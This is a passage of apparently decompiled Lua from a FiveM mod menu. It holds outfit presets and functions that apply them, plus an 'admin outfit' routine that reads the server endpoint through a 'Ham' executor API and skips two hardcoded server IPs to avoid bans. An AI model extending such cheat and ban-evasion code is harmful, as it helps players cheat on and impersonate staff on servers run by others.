pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 2 pendingMenuEntry17.eyebrows_opacity = 1.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 21 pendingMenuEntry17.tshirt_2 = 4 pendingMenuEntry17.torso_1 = 20 pendingMenuEntry17.torso_2 = 3 pendingMenuEntry17.arms = 17 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 20 pendingMenuEntry17.pants_2 = 3 pendingMenuEntry17.shoes_1 = 36 pendingMenuEntry17.shoes_2 = 0 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 0 pendingMenuEntry17.bproof_2 = 0 pendingMenuEntry17.chain_1 = 25 pendingMenuEntry17.chain_2 = 5 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = 114 pendingMenuEntry17.helmet_2 = 0 pendingMenuEntry17.glasses_1 = 10 pendingMenuEntry17.glasses_2 = 0 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue.Suit = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 19 pendingMenuEntry17.skin = 16 pendingMenuEntry17.hair_1 = 2 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 59 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 10 pendingMenuEntry17.beard_opacity = 10.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 2 pendingMenuEntry17.eyebrows_opacity = 1.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 97 pendingMenuEntry17.torso_2 = 1 pendingMenuEntry17.arms = 0 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 60 pendingMenuEntry17.pants_2 = 9 pendingMenuEntry17.shoes_1 = 7 pendingMenuEntry17.shoes_2 = 6 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 0 pendingMenuEntry17.bproof_2 = 0 pendingMenuEntry17.chain_1 = 49 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = 12 pendingMenuEntry17.helmet_2 = 2 pendingMenuEntry17.glasses_1 = 33 pendingMenuEntry17.glasses_2 = 6 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue.Grey = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 1 pendingMenuEntry17.skin = 14 pendingMenuEntry17.hair_1 = 18 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 0 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 21 pendingMenuEntry17.beard_opacity = 21.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 255 pendingMenuEntry17.eyebrows_opacity = 0.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 41 pendingMenuEntry17.torso_2 = 0 pendingMenuEntry17.arms = 0 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 6 pendingMenuEntry17.pants_2 = 0 pendingMenuEntry17.shoes_1 = 15 pendingMenuEntry17.shoes_2 = 0 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 0 pendingMenuEntry17.bproof_2 = 0 pendingMenuEntry17.chain_1 = 0 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = -1 pendingMenuEntry17.helmet_2 = -1 pendingMenuEntry17.glasses_1 = 0 pendingMenuEntry17.glasses_2 = 0 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue["Holy inder"] = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 33 pendingMenuEntry17.skin = 14 pendingMenuEntry17.hair_1 = 0 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 0 pendingMenuEntry17.hair_color_2 = 255 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 3 pendingMenuEntry17.beard_opacity = 3.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 255 pendingMenuEntry17.eyebrows_opacity = 0.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 0 pendingMenuEntry17.torso_2 = 5 pendingMenuEntry17.arms = 0 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 0 pendingMenuEntry17.pants_2 = 1 pendingMenuEntry17.shoes_1 = 7 pendingMenuEntry17.shoes_2 = 0 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 0 pendingMenuEntry17.bproof_2 = 0 pendingMenuEntry17.chain_1 = 0 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = -1 pendingMenuEntry17.helmet_2 = -1 pendingMenuEntry17.glasses_1 = 8 pendingMenuEntry17.glasses_2 = 0 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue.Blacky = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 33 pendingMenuEntry17.skin = 3 pendingMenuEntry17.hair_1 = 18 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 0 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 3 pendingMenuEntry17.beard_opacity = 3.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 255 pendingMenuEntry17.eyebrows_opacity = 0.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 117 pendingMenuEntry17.torso_2 = 2 pendingMenuEntry17.arms = 0 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 75 pendingMenuEntry17.pants_2 = 0 pendingMenuEntry17.shoes_1 = 34 pendingMenuEntry17.shoes_2 = 0 pendingMenuEntry17.mask_1 = 125 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 16 pendingMenuEntry17.bproof_2 = 2 pendingMenuEntry17.chain_1 = 55 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = -1 pendingMenuEntry17.helmet_2 = -1 pendingMenuEntry17.glasses_1 = -1 pendingMenuEntry17.glasses_2 = -1 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue.k9 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 24 pendingMenuEntry17.skin = 3 pendingMenuEntry17.hair_1 = 1 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 0 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 9 pendingMenuEntry17.beard_opacity = 9.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 1 pendingMenuEntry17.eyebrows_opacity = 1.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 17 pendingMenuEntry17.torso_2 = 5 pendingMenuEntry17.arms = 5 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 0 pendingMenuEntry17.pants_2 = 0 pendingMenuEntry17.shoes_1 = 9 pendingMenuEntry17.shoes_2 = 0 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 0 pendingMenuEntry17.bproof_2 = 0 pendingMenuEntry17.chain_1 = 54 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = 90 pendingMenuEntry17.helmet_2 = 0 pendingMenuEntry17.glasses_1 = -1 pendingMenuEntry17.glasses_2 = -1 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue["Angry joe"] = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 36 pendingMenuEntry17.skin = 9 pendingMenuEntry17.hair_1 = 13 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 0 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 3 pendingMenuEntry17.beard_opacity = 3.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 255 pendingMenuEntry17.eyebrows_opacity = 0.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 107 pendingMenuEntry17.torso_2 = 3 pendingMenuEntry17.arms = 17 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 1 pendingMenuEntry17.pants_2 = 15 pendingMenuEntry17.shoes_1 = 7 pendingMenuEntry17.shoes_2 = 2 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 0 pendingMenuEntry17.bproof_2 = 0 pendingMenuEntry17.chain_1 = 0 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = 152 pendingMenuEntry17.helmet_2 = 0 pendingMenuEntry17.glasses_1 = 13 pendingMenuEntry17.glasses_2 = 0 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue.Guy = pendingMenuEntry17 assembledMenuFunctions.normalOutfitPresets = pendingFunctionValue function assembledMenuFunctions.getNormalOutfitChoices() return menu.functions.normalOutfitChoices end function assembledMenuFunctions.getNormalOutfitPreset(outfitName) return menu.functions.normalOutfitPresets[outfitName] end function assembledMenuFunctions.changeNormalOutfit(outfitName) local selectedOutfit = menu.functions.normalOutfitPresets[outfitName] if not selectedOutfit then return end local outfitPed = PlayerPedId() local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() local desiredModelHash = nil if selectedOutfit.sex ~= nil then if selectedOutfit.sex == 0 then desiredModelHash = GetHashKey("mp_m_freemode_01") else desiredModelHash = GetHashKey("mp_f_freemode_01") end end if desiredModelHash ~= nil then if desiredModelHash ~= GetEntityModel(outfitPed) then RequestModel(desiredModelHash) while not HasModelLoaded(desiredModelHash) do Citizen.Wait(0) RequestModel(desiredModelHash) end SetPlayerModel(PlayerId(), desiredModelHash) SetModelAsNoLongerNeeded(desiredModelHash) outfitPed = PlayerPedId() SetPedDefaultComponentVariation(outfitPed) end end menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) SetPedHeadBlendData( outfitPed, selectedOutfit.face or 0, selectedOutfit.face or 0, 0, selectedOutfit.skin or 0, selectedOutfit.skin or 0, 0, 1.0, 1.0, 0.0, true ) SetPedComponentVariation(outfitPed, 2, selectedOutfit.hair_1 or 0, selectedOutfit.hair_2 or 0, 2) local primaryHairColor = selectedOutfit.hair_color_1 if not primaryHairColor then primaryHairColor = 0 end local secondaryHairColor = selectedOutfit.hair_color_2 repeat if secondaryHairColor ~= nil then secondaryHairColor = selectedOutfit.hair_color_2 if secondaryHairColor then break end end secondaryHairColor = selectedOutfit.hair_color_1 if not secondaryHairColor then secondaryHairColor = 0 end until true SetPedHairColor(outfitPed, primaryHairColor, secondaryHairColor) SetPedEyeColor(outfitPed, selectedOutfit.eye_color or 10) if selectedOutfit.beard_1 ~= nil then SetPedHeadOverlay( outfitPed, 1, selectedOutfit.beard_1, selectedOutfit.beard_opacity or (selectedOutfit.beard_2 or 10) / 10.0 ) SetPedHeadOverlayColor(outfitPed, 1, 1, selectedOutfit.beard_3 or 0, selectedOutfit.beard_4 or 0) end if selectedOutfit.eyebrows_1 ~= nil then SetPedHeadOverlay( outfitPed, 2, selectedOutfit.eyebrows_1, selectedOutfit.eyebrows_opacity or (selectedOutfit.eyebrows_2 or 10) / 10.0 ) SetPedHeadOverlayColor(outfitPed, 2, 1, selectedOutfit.eyebrows_3 or 0, selectedOutfit.eyebrows_4 or 0) end SetPedComponentVariation(outfitPed, 8, selectedOutfit.tshirt_1 or 0, selectedOutfit.tshirt_2 or 0, 2) SetPedComponentVariation(outfitPed, 11, selectedOutfit.torso_1 or 0, selectedOutfit.torso_2 or 0, 2) SetPedComponentVariation(outfitPed, 3, selectedOutfit.arms or 0, 0, 2) SetPedComponentVariation(outfitPed, 10, selectedOutfit.decals_1 or 0, selectedOutfit.decals_2 or 0, 2) SetPedComponentVariation(outfitPed, 4, selectedOutfit.pants_1 or 0, selectedOutfit.pants_2 or 0, 2) SetPedComponentVariation(outfitPed, 6, selectedOutfit.shoes_1 or 0, selectedOutfit.shoes_2 or 0, 2) SetPedComponentVariation(outfitPed, 1, selectedOutfit.mask_1 or 0, selectedOutfit.mask_2 or 0, 2) SetPedComponentVariation(outfitPed, 9, selectedOutfit.bproof_1 or 0, selectedOutfit.bproof_2 or 0, 2) SetPedComponentVariation(outfitPed, 7, selectedOutfit.chain_1 or 0, selectedOutfit.chain_2 or 0, 2) SetPedComponentVariation(outfitPed, 5, selectedOutfit.bags_1 or 0, selectedOutfit.bags_2 or 0, 2) if selectedOutfit.helmet_1 ~= nil then if 0 <= selectedOutfit.helmet_1 then SetPedPropIndex(outfitPed, 0, selectedOutfit.helmet_1, selectedOutfit.helmet_2 or 0, true) else ClearPedProp(outfitPed, 0) end end if selectedOutfit.glasses_1 ~= nil then if 0 <= selectedOutfit.glasses_1 then SetPedPropIndex(outfitPed, 1, selectedOutfit.glasses_1, selectedOutfit.glasses_2 or 0, true) else ClearPedProp(outfitPed, 1) end end if selectedOutfit.ears_1 ~= nil then if 0 <= selectedOutfit.ears_1 then SetPedPropIndex(outfitPed, 2, selectedOutfit.ears_1, selectedOutfit.ears_2 or 0, true) else ClearPedProp(outfitPed, 2) end end end function assembledMenuFunctions.changeAdminOutfit(outfitName) local endpoint = Ham do local foundEndpoint = false repeat repeat if endpoint then endpoint = Ham.getServerEndpoint if not endpoint then break end endpoint = Ham.getServerEndpoint() if endpoint then foundEndpoint = true break end end until true if foundEndpoint then break end endpoint = "" until true end repeat if type(endpoint) == "string" then local trimmed = endpoint.match(endpoint, "^%s*(.-)%s*$") if trimmed then endpoint = trimmed break else break end end until true local blockedEndpoints = {} blockedEndpoints["91.212.121.20"] = true blockedEndpoints["151.242.106.21"] = true local blocked = false if type(endpoint) == "string" then if endpoint ~= "" then if blockedEndpoints[endpoint] then blocked = true else local host = endpoint.match(endpoint, "^([^:]+)") if not host then host = endpoint end if blockedEndpoints[host] then blocked = true end end end end if blocked then menu.utils.notifyBanBlocked() return end local adminOutfits = {} do local frakOutfit = {} frakOutfit.sex = 0 frakOutfit.face = 33 frakOutfit.skin = 8 frakOutfit.hair_1 = 77 frakOutfit.hair_2 = 0 frakOutfit.hair_color_1 = 0 frakOutfit.hair_color_2 = nil frakOutfit.decals_1 = 0 frakOutfit.decals_2 = 0 frakOutfit.tshirt_1 = 15 frakOutfit.tshirt_2 = 0 frakOutfit.torso_1 = 273 frakOutfit.torso_2 = 0 frakOutfit.arms = 74 frakOutfit.pants_1 = 49 frakOutfit.pants_2 = 4 frakOutfit.shoes_1 = 7 frakOutfit.shoes_2 = 0 frakOutfit.mask_1 = 0 frakOutfit.mask_2 = 0 frakOutfit.helmet_1 = 12 frakOutfit.helmet_2 = 2 frakOutfit.bproof_1 = 15 frakOutfit.bproof_2 = 0 frakOutfit.bags_1 = 0 frakOutfit.bags_2 = 0 frakOutfit.beard_1 = 3 frakOutfit.beard_2 = 10 frakOutfit.beard_3 = 2 frakOutfit.beard_4 = 0 frakOutfit.chain_1 = 120 frakOutfit.chain_2 = 0 frakOutfit.glasses_1 = 10 frakOutfit.glasses_2 = 2 adminOutfits.frak = frakOutfit end do local medicOutfit = {} medicOutfit.sex = 0 medicOutfit.face = 33 medicOutfit.skin = 8 medicOutfit.hair_1 = 77 medicOutfit.hair_2 = 0 medicOutfit.hair_color_1 = 29 medicOutfit.hair_color_2 = nil medicOutfit.decals_1 = 58 medicOutfit.decals_2 = 0 medicOutfit.tshirt_1 = 15 medicOutfit.tshirt_2 = 0 medicOutfit.torso_1 = 139 medicOutfit.torso_2 = 4 medicOutfit.arms = 88 medicOutfit.pants_1 = 28 medicOutfit.pants_2 = 8 medicOutfit.shoes_1 = 7 medicOutfit.shoes_2 = 0 medicOutfit.mask_1 = 0 medicOutfit.mask_2 = 0 medicOutfit.helmet_1 = -1 medicOutfit.helmet_2 = -1 medicOutfit.bproof_1 = 0 medicOutfit.bproof_2 = 0 medicOutfit.bags_1 = 0 medicOutfit.bags_2 = 0 medicOutfit.beard_1 = 3 medicOutfit.beard_2 = 10 medicOutfit.beard_3 = 2 medicOutfit.beard_4 = 0 medicOutfit.chain_1 = 126 medicOutfit.chain_2 = 0 medicOutfit.glasses_1 = 10 medicOutfit.glasses_2 = 2 adminOutfits.medic = medicOutfit end do local bodyshootOutfit = {} bodyshootOutfit.sex = 0 bodyshootOutfit.face = 33 bodyshootOutfit.skin = 8 bodyshootOutfit.hair_1 = 77 bodyshootOutfit.hair_2 = 0 bodyshootOutfit.hair_color_1 = 28 bodyshootOutfit.hair_color_2 = nil bodyshootOutfit.decals_1 = 0 bodyshootOutfit.decals_2 = 0 bodyshootOutfit.tshirt_1 = 15 bodyshootOutfit.tshirt_2 = 0 bodyshootOutfit.torso_1 = 22 bodyshootOutfit.torso_2 = 0 bodyshootOutfit.arms = 74 bodyshootOutfit.pants_1 = 76 bodyshootOutfit.pants_2 = 2 bodyshootOutfit.shoes_1 = 34 bodyshootOutfit.shoes_2 = 0 bodyshootOutfit.mask_1 = 0 bodyshootOutfit.mask_2 = 0 bodyshootOutfit.helmet_1 = -1 bodyshootOutfit.helmet_2 = -1 bodyshootOutfit.bproof_1 = 15 bodyshootOutfit.bproof_2 = 2 bodyshootOutfit.bags_1 = 0 bodyshootOutfit.bags_2 = 0 bodyshootOutfit.beard_1 = 3 bodyshootOutfit.beard_2 = 10 bodyshootOutfit.beard_3 = 2 bodyshootOutfit.beard_4 = 0 bodyshootOutfit.chain_1 = 54 bodyshootOutfit.chain_2 = 0 bodyshootOutfit.glasses_1 = 10 bodyshootOutfit.glasses_2 = 2 adminOutfits.bodyshoot = bodyshootOutfit end do local docOutfit = {} docOutfit.sex = 0 docOutfit.face = 33 docOutfit.skin = 8 docOutfit.hair_1 = 77 docOutfit.hair_2 = 0 docOutfit.hair_color_1 = 26 docOutfit.hair_color_2 = 0 docOutfit.decals_1 = 0 docOutfit.decals_2 = 0 docOutfit.tshirt_1 = 21 docOutfit.tshirt_2 = 4 docOutfit.torso_1 = 99 docOutfit.torso_2 = 0 docOutfit.arms = 17 docOutfit.pants_1 = 22 docOutfit.pants_2 = 4 docOutfit.shoes_1 = 7 docOutfit.shoes_2 = 2 docOutfit.mask_1 = 0 docOutfit.mask_2 = 0 docOutfit.helmet_1 = -1 docOutfit.helmet_2 = -1 docOutfit.bproof_1 = 0 docOutfit.bproof_2 = 0 docOutfit.bags_1 = 0 docOutfit.bags_2 = 0 docOutfit.beard_1 = 3 docOutfit.beard_2 = 10 docOutfit.beard_3 = 2 docOutfit.beard_4 = 0 docOutfit.chain_1 = 126 docOutfit.chain_2 = 0 docOutfit.glasses_1 = 0 docOutfit.glasses_2 = 0 adminOutfits.doc = docOutfit end do local whiteOutfit = {} whiteOutfit.sex = 0 whiteOutfit.face = 33 whiteOutfit.skin = 0 whiteOutfit.hair_1 = 0 whiteOutfit.hair_2 = 0 whiteOutfit.hair_color_1 = 0 whiteOutfit.hair_color_2 = 0 whiteOutfit.decals_1 = 0 whiteOutfit.decals_2 = 0 whiteOutfit.tshirt_1 = 15 whiteOutfit.tshirt_2 = 0 whiteOutfit.torso_1 = 287 whiteOutfit.torso_2 = 0 whiteOutfit.arms = 9 whiteOutfit.pants_1 = 114 whiteOutfit.pants_2 = 0 whiteOutfit.shoes_1 = 78 whiteOutfit.shoes_2 = 0 whiteOutfit.mask_1 = 135 whiteOutfit.mask_2 = 0 whiteOutfit.helmet_1 = -1 whiteOutfit.helmet_2 = -1 whiteOutfit.bproof_1 = 0 whiteOutfit.bproof_2 = 0 whiteOutfit.bags_1 = 0 whiteOutfit.bags_2 = 0 whiteOutfit.beard_1 = 0 whiteOutfit.beard_2 = 0 whiteOutfit.beard_3 = 0 whiteOutfit.beard_4 = 0 whiteOutfit.chain_1 = 0 whiteOutfit.chain_2 = 0 whiteOutfit.glasses_1 = 0 whiteOutfit.glasses_2 = 0 adminOutfits.white = whiteOutfit end do local blackOutfit = {} blackOutfit.sex = 0 blackOutfit.face = 33 blackOutfit.skin = 0 blackOutfit.hair_1 = 14 blackOutfit.hair_2 = 0 blackOutfit.hair_color_1 = 0 blackOutfit.hair_color_2 = nil blackOutfit.decals_1 = 0 blackOutfit.decals_2 = 0 blackOutfit.tshirt_1 = 15 blackOutfit.tshirt_2 = 0 blackOutfit.torso_1 = 287 blackOutfit.torso_2 = 1 blackOutfit.arms = 9 blackOutfit.pants_1 = 114 blackOutfit.pants_2 = 1 blackOutfit.shoes_1 = 78 blackOutfit.shoes_2 = 1 blackOutfit.mask_1 = 135 blackOutfit.mask_2 = 1 blackOutfit.helmet_1 = -1 blackOutfit.helmet_2 = -1 blackOutfit.bproof_1 = 0 blackOutfit.bproof_2 = 0 blackOutfit.bags_1 = 0 blackOutfit.bags_2 = 0 blackOutfit.beard_1 = 135 blackOutfit.beard_2 = 1 blackOutfit.beard_3 = 2 blackOutfit.beard_4 = 0 blackOutfit.chain_1 = 0 blackOutfit.chain_2 = 0 blackOutfit.glasses_1 = 0 blackOutfit.glasses_2 = 0 adminOutfits.black = blackOutfit end do local redOutfit = {} redOutfit.sex = 0 redOutfit.face = 33 redOutfit.skin = 0 redOutfit.hair_1 = 0 redOutfit.hair_2 = 0 redOutfit.hair_color_1 = 0 redOutfit.hair_color_2 = 0 redOutfit.decals_1 = 0 redOutfit.decals_2 = 0 redOutfit.tshirt_1 = 15 redOutfit.tshirt_2 = 0 redOutfit.torso_1 = 287 redOutfit.torso_2 = 2 redOutfit.arms = 9 redOutfit.pants_1 = 114 redOutfit.pants_2 = 2 redOutfit.shoes_1 = 78 redOutfit.shoes_2 = 2 redOutfit.mask_1 = 135 redOutfit.mask_2 = 2 redOutfit.helmet_1 = -1 redOutfit.helmet_2 = -1 redOutfit.bproof_1 = 0 redOutfit.bproof_2 = 0 redOutfit.bags_1 = 0 redOutfit.bags_2 = 0 redOutfit.beard_1 = 0 redOutfit.beard_2 = 0 redOutfit.beard_3 = 0 redOutfit.beard_4 = 0 redOutfit.chain_1 = 0 redOutfit.chain_2 = 0 redOutfit.glasses_1 = 0 redOutfit.glasses_2 = 0 adminOutfits.red = redOutfit end do local yellowOutfit = {} yellowOutfit.sex = 0 yellowOutfit.face = 33 yellowOutfit.skin = 0 yellowOutfit.hair_1 = 0 yellowOutfit.hair_2 = 0 yellowOutfit.hair_color_1 = 0 yellowOutfit.hair_color_2 = 0 yellowOutfit.decals_1 = 0 yellowOutfit.decals_2 = 0 yellowOutfit.tshirt_1 = 15 yellowOutfit.tshirt_2 = 0 yellowOutfit.torso_1 = 287 yellowOutfit.torso_2 = 3 yellowOutfit.arms = 9 yellowOutfit.pants_1 = 114 yellowOutfit.pants_2 = 3 yellowOutfit.shoes_1 = 78 yellowOutfit.shoes_2 = 3 yellowOutfit.mask_1 = 135 yellowOutfit.mask_2 = 3 yellowOutfit.helmet_1 = -1 yellowOutfit.helmet_2 = -1 yellowOutfit.bproof_1 = 0 yellowOutfit.bproof_2 = 0 yellowOutfit.bags_1 = 0 yellowOutfit.bags_2 = 0 yellowOutfit.beard_1 = 0 yellowOutfit.beard_2 = 0 yellowOutfit.beard_3 = 0 yellowOutfit.beard_4 = 0 yellowOutfit.chain_1 = 0 yellowOutfit.chain_2 = 0 yellowOutfit.glasses_1 = 0 yellowOutfit.glasses_2 = 0 adminOutfits.yellow = yellowOutfit end do local blueOutfit = {} blueOutfit.sex = 0 blueOutfit.face = 33 blueOutfit.skin = 0 blueOutfit.hair_1 = 0 blueOutfit.hair_2 = 0 blueOutfit.hair_color_1 = 0 blueOutfit.hair_color_2 = 0 blueOutfit.decals_1 = 0 blueOutfit.decals_2 = 0 blueOutfit.tshirt_1 = 15 blueOutfit.tshirt_2 = 0 blueOutfit.torso_1 = 287 blueOutfit.torso_2 = 4 blueOutfit.arms = 9 blueOutfit.pants_1 = 114 blueOutfit.pants_2 = 4 blueOutfit.shoes_1 = 78 blueOutfit.shoes_2 = 4 blueOutfit.mask_1 = 135 blueOutfit.mask_2 = 4 blueOutfit.helmet_1 = -1 blueOutfit.helmet_2 = -1 blueOutfit.bproof_1 = 0 blueOutfit.bproof_2 = 0 blueOutfit.bags_1 = 0 blueOutfit.bags_2 = 0 blueOutfit.beard_1 = 0 blueOutfit.beard_2 = 0 blueOutfit.beard_3 = 0 blueOutfit.beard_4 = 0 blueOutfit.chain_1 = 0 blueOutfit.chain_2 = 0 blueOutfit.glasses_1 = 0 blueOutfit.glasses_2 = 0 adminOutfits.blue = blueOutfit end do local greenOutfit = {} greenOutfit.sex = 0 greenOutfit.face = 33 greenOutfit.skin = 0 greenOutfit.hair_1 = 0 greenOutfit.hair_2 = 0 greenOutfit.hair_color_1 = 0 greenOutfit.hair_color_2 = 0 greenOutfit.decals_1 = 0 greenOutfit.decals_2 = 0 greenOutfit.tshirt_1 = 15 greenOutfit.tshirt_2 = 0 greenOutfit.torso_1 = 287 greenOutfit.torso_2 = 5 greenOutfit.arms = 9 greenOutfit.pants_1 = 114 greenOutfit.pants_2 = 5 greenOutfit.shoes_1 = 78 greenOutfit.shoes_2 = 5 greenOutfit.mask_1 = 135 greenOutfit.mask_2 = 5 greenOutfit.helmet_1 = -1 greenOutfit.helmet_2 = -1 greenOutfit.bproof_1 = 0 greenOutfit.bproof_2 = 0 greenOutfit.bags_1 = 0 greenOutfit.bags_2 = 0 greenOutfit.beard_1 = 0 greenOutfit.beard_2 = 0 greenOutfit.beard_3 = 0 greenOutfit.beard_4 = 0 greenOutfit.chain_1 = 0 greenOutfit.chain_2 = 0 greenOutfit.glasses_1 = 0 greenOutfit.glasses_2 = 0 adminOutfits.green = greenOutfit end do local grayOutfit = {} grayOutfit.sex = 0 grayOutfit.face = 33 grayOutfit.skin = 0 grayOutfit.hair_1 = 14 grayOutfit.hair_2 = 0 grayOutfit.hair_color_1 = 0 grayOutfit.hair_color_2 = nil grayOutfit.decals_1 = 0 grayOutfit.decals_2 = 0 grayOutfit.tshirt_1 = 15 grayOutfit.tshirt_2 = 0 grayOutfit.torso_1 = 287 grayOutfit.torso_2 = 6 grayOutfit.arms = 9 grayOutfit.pants_1 = 114 grayOutfit.pants_2 = 6 grayOutfit.shoes_1 = 78 grayOutfit.shoes_2 = 6 grayOutfit.mask_1 = 135 grayOutfit.mask_2 = 6 grayOutfit.helmet_1 = -1 grayOutfit.helmet_2 = -1 grayOutfit.bproof_1 = 0 grayOutfit.bproof_2 = 0 grayOutfit.bags_1 = 0 grayOutfit.bags_2 = 0 grayOutfit.beard_1 = 135 grayOutfit.beard_2 = 6 grayOutfit.beard_3 = 2 grayOutfit.beard_4 = 0 grayOutfit.chain_1 = 0 grayOutfit.chain_2 = 0 grayOutfit.glasses_1 = 0 grayOutfit.glasses_2 = 0 adminOutfits.gray = 